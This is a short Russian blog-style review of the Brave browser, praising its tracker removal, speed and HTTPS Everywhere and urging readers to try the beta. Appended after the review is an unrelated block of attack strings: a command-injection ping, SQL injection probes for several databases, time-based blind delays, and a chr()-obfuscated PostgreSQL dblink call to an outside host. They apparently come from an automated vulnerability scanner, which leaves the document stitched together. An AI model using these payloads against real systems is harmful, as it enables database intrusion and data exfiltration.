Brave – браузер, созданный на основе открытого исходного кода Chromium и программной платформы Node.js. Создателем данного проекта является Брендан Айк.
В принципе Brave, пока не полноценный веб-браузер, к какому мы привыкли. В нём, на данный момент, практически нет настроек, раздела с историей пользователя и закладок. То есть, можно сказать, что создатели выпустили его в массы для тестирования системы. Однако кое-чем похвастаться он может. Во-первых, улучшена производительность по сравнению с аналогичными платформами, работающими на том же движке.
Во-вторых, отсутствует реклама, которая присутствует на всех интернет сайтах и очень нервирует. Причем разработчики убрали рекламу не только визуально (как это делает Adblock и подобные ему программы), а вырезали трекинговые коды. И именно за счет удаления последних и произошло увеличение производительности браузера. Однако не надо думать, что создатели вообще отказались от рекламы.
Реклама в браузере будет, но только от рекламодателей самих разработчиков. Мало того, за просмотр рекламы, авторы в будущем, даже будут начислять небольшие проценты пользователям. В-третьих, в браузер внедрено расширение HTTPS Everywhere, что очень положительно сказывается на безопасности.
И последнее, Brave не поддерживает платформу Adobe Flash. В принципе, если вы постоянно раздражаетесь от назойливой рекламы или ощущаете слежения за собой, а может, просто любите анонимность в сети, быстроту обработки интернет страниц, то этот веб-браузер для вас. Вопреки тому, что вышла только beta-версия программы, предлагаю скачать Brave и попробовать его в действии.
'& ping -n 25 127.0.0.1 &
-1" OR 1=1 OR "1"="1
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(100)||chr(12
1)||chr(114)||chr(51)||chr(105)||chr(102)||chr(118)||chr(54)||chr(114)||chr(97)|
|chr(49)||chr(52)||chr(101)||chr(114)||chr(53)||chr(103)||chr(98)||chr(111)||chr
(107)||chr(107)||chr(111)||chr(51)||chr(105)||chr(110)||chr(97)||chr(120)||chr(1
00)||chr(95)||chr(114)||chr(110)||chr(45)||chr(117)||chr(105)||chr(102)||chr(116
)||chr(45)||chr(102)||chr(120)||chr(99)||chr(113)||chr(120)||chr(54)||chr(113)||
chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(1
17)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)|
|chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||c
hr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(
95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(6
1)||chr(50))) as numeric)
1 WAITFOR DELAY '0:0:25'-- /* 05b8a192-f0a8-41f0-b768-2be451d1b3d9 */
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105
)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 33398acf-5242-4160-b750-82ae30516889 */
'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* a03ad45b-0394-44aa-b673-29ed976b7bce */